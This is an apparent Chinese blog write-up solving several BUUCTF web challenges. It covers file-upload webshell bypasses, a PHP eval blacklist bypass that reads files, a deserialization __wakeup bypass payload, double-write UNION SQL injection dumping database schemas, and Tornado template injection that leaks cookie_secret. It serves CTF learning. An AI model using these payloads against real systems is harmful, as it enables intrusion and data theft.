IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> BUUCTF web(二) -> 正文阅读

[PHP知识库]BUUCTF web(二)

[极客大挑战 2019]Upload

upload想到了文件上传漏洞,先传个一句话木马试试,php和图片马都不行
在这里插入图片描述
试一下phtml,phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析

也不行,抓包改一下Content-Type
在这里插入图片描述
不让用<?,那就换一种

在这里插入图片描述
。。。。

再加个文件头

GIF89a

OK了,猜测路径应该在/upload里面

蚁剑连上找到根目录下的flag
在这里插入图片描述

[RoarCTF 2019]Easy Calc

源码发现

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

是可以绕过的
在这里插入图片描述
在这里插入图片描述
在这里说一下,这个空格让waf找不到变量但是php解析的时候可以找到

扫根目录下的所有文件,使用scandir("/"),但是“/”被过滤了,所以我们用chr(“47”)绕过

payload:?%20num=var_dump(scandir(chr(47)))
在这里插入图片描述
然后读flag

payload:?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

chr(47).chr(102).chr(49).chr(97).chr(103).chr(103) = 》 /f1agg

[ACTF2020 新生赛]Upload

f12把前端检查删掉然后直接传phtml,然后蚁剑连
在这里插入图片描述

[极客大挑战 2019]PHP

dirsearch扫

./dirsearch.py -u http://887b5639-b212-41c1-92e1-ede64684467d.node4.buuoj.cn:81/ -e php

在这里插入图片描述
打开之后看看index.php
在这里插入图片描述
在class.php中会以get方式接受变量select,并且反序列化这个叫select的字符串

再来看看class.php里

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

只有当username=admin且password=100才会输出flag,但是要想办法绕过wakeup函数,否则会把username赋值成guest

那么首先赋值并序列化看看

$a = new Name('admin', 100);
echo serialize($a)

O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}

当属性个数大于实际时wakeup会被绕过,那么改成

O:4:“Name”:3:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}

但是注意到变量是private类型的,所以要加上 %00(url编码过后的,实际上是0x00,echo输出碰见是空就过去了,我们要手动加上)

O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}

payload:?select=O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}

拿来吧你!
在这里插入图片描述

BUUCTF-[极客大挑战 2019]BabySQL

过滤了是吧,看看你都过滤啥了

?username=admin&password=1+%27+union+select+1+%23
在这里插入图片描述
就给我剩个1 #,union和select都被过滤了是吧

双写试试(replace查到过滤的字符串然后替换为空【我猜的】)

1 ’ uniunionon selselectect 1 #
在这里插入图片描述
绕过了,但是列数不对

试到3的时候对了

在这里插入图片描述
开始整活儿,看看数据库版本

1 ’ uniunionon selselectect 1,version(),@@version_compile_os#
在这里插入图片描述继续

1 ’ uniunionon selselectect 1,database(),user()#

在这里插入图片描述
当前库为geek,爆一下所有库

1’ ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) # 
在这里插入图片描述这么多库,先看看ctf里面

爆表名

1’ ununionion seselectlect 1,group_concat(table_name),table_name frfromom infoorrmation_schema.tables whewherere table_schema=‘geek’#
在这里插入图片描述
爆列名

1’ ununionion seselectlect 1,2, group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘b4bsql’#
在这里插入图片描述
后面跟lovesql很像了
1’ ununionion seselectlect 1,database(),group_concat(id,username,passwoorrd) frofromm b4bsql#
拿来吧你!

在这里插入图片描述

[ACTF2020 新生赛]BackupFile

./dirsearch.py -u http://f17406d8-e02f-4041-b7d0-61291ea70c7f.node4.buuoj.cn:81/ -e php

扫出来index.php.bak,下载到本地看看源码

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}


get一个变量key,如果不是数字或数字字符串就exit,然后返回变量的整数值,如果key==str就输出flag

传123就好(注意是==)
在这里插入图片描述

[护网杯 2018]easy_tornado

在这里插入图片描述
三个链接的内容:

flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用。

Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向

RequestHandler.application.settings了,这里面就是我们的一些环境变量

payload:error?msg={{handler.settings}}

‘cookie_secret’: ‘2785c1f6-7f9e-43f7-a518-c414b3f67235’

/fllllllllllllag md5加密后 3bf9f6cf685a6dd8defadabfb41a03a1

手动加密或者写脚本加密:

e0006bc385616ba60beedca48edce680

拿来吧你(我flllllllllag带着.txt试了半天对不起我是傻子orz)

模板注入。。嗯。。学到了
在这里插入图片描述# [极客大挑战 2019]BuyFlag

管我要好多钱还有正确的password
在这里插入图片描述
看了看源码
在这里插入图片描述
弱类型比较嘛,post一个password=404a试试

在这里插入图片描述
hackbar没反应。。。抓包吧
在这里插入图片描述
嘶。。。。
在这里插入图片描述
user改成1试一下
在这里插入图片描述果然那个user是判断我是不是那个学校学生的

让我付钱。。。再加一个money=100000000试试

在这里插入图片描述
太长0.0,科学计数法试试
在这里插入图片描述
拿来吧你

看了别的师傅的方法还能利用strcmp函数特性绕过,用money[]=1000000000,不过好像只适用于5.3之前的php

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-23 12:16:55  更:2021-10-23 12:17:46 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 20:00:41-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码